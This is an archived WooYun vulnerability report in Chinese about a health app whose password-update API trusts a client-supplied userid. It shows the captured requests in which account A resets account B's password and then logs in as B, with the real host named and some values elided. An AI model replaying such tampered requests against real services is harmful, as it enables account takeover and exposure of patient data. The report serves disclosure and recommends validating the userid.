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缺陷编号：wooyun-2014-077624

漏洞标题：某医联健康APP可以随意修改其他帐号的密码

相关厂商：医联云健康

漏洞作者： lucky_fn

提交时间：2014-09-28 15:17

修复时间：2014-11-12 15:18

公开时间：2014-11-12 15:18

漏洞类型：设计缺陷/逻辑错误

危害等级：高

自评Rank：20

漏洞状态：未联系到厂商或者厂商积极忽略

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2014-09-28： 积极联系厂商并且等待厂商认领中，细节不对外公开
2014-11-12： 厂商已经主动忽略漏洞，细节向公众公开

简要描述：

可以随意修改其他帐号的密码

详细说明：

帐号A登录
帐号A：156...省略...6
userid：2...省略...8

GET /BSoftNew.svc/Login?username=156...省略...6&DevID=8...省略...0&OS=2&logintype=2&DevType=GT-I9128E&ClientVer=1.2.2&password=p...省略...5&DevVer=4.2.2 HTTP/1.1
Host: ylyjk.taivex.org:81
...省略...
HTTP/1.1 200 OK
...省略...
{"code":"0","data":{"token":"1.0,2,1,05...省略..."password":"p...省略...5","userid":"2...省略...8","appmodule":""},"header":{"action":"Login","errreason":"","requestseq":"0","servercurticks":"1...省略...9"}}


Screenshot_2014-09-22-14-32-54.png


Screenshot_2014-09-22-14-33-04.png


帐号A在修改密码的时候把userid改成帐号B的userid（2...省略...5）
密码改成wooyun

抓包修改前
GET /BSoftNew.svc/UpdatePatientInfo?token=...省略...&personid=9...省略...2&userid=2...省略...8&DevID=8...省略...0&OS=2&isUpdateUserInfo=true&DevType=GT-I9128E&ClientVer...省略...
抓包修改前
GET /BSoftNew.svc/UpdatePatientInfo?token=...省略...&personid=9...省略...2&userid=2...省略...5&DevID=8...省略...0&OS=2&isUpdateUserInfo=true&DevType=GT-I9128E&ClientVer=1.2.2&password=wooyun&DevVer=4.2.2...省略...
HTTP/1.1 200 OK
...省略...
{"code":"0","data":{"token":"...省略...realname":"156...省略...7","logo":"","sex":"","sign":"156...省略...7","cardnumber":"","birthday":"","header":"","medicalcard":"","outpatientcard":"","patientid":"958319","username":"156...省略...7","orgcode":"0...省略...8","password":"wooyun","userid":"2...省略...5","appmodule":""},"header":{"action":"UpdatePatientInfo","errreason":"","requestseq":"0"}}

漏洞证明：

帐号B（56...省略...7）登录：密码为：wooyun，userid：2...省略...5

GET /BSoftNew.svc/Login?username=156...省略...7&DevID=8...省略...0&OS=2&logintype=2&DevType=GT-I9128E&ClientVer=1.2.2&password=wooyun&DevVer=4.2.2 HTTP/1.1
Host: ylyjk.taivex.org:81
...省略...
HTTP/1.1 200 OK
...省略...
{"code":"0","data":{"token":"...省略...realname":"156...省略...7","logo":"","sex":"","sign":"156...省略...7","cardnumber":"","birthday":"","header":"","medicalcard":"","outpatientcard":"","patientid":"9...省略...9","username":"156...省略...7","orgcode":"0...省略...8","password":"wooyun","userid":"2...省略...5","appmodule":""},"header":{"action":"Login","errreason":"","requestseq":"0","servercurticks":"1...省略...9"}}


Screenshot_2014-09-22-14-41-38.png


Screenshot_2014-09-22-14-41-47.png

修复方案：

其他的不说，至少要对userid进行验证。。

版权声明：转载请注明来源 lucky_fn@乌云

漏洞回应

厂商回应：

未能联系到厂商或者厂商积极拒绝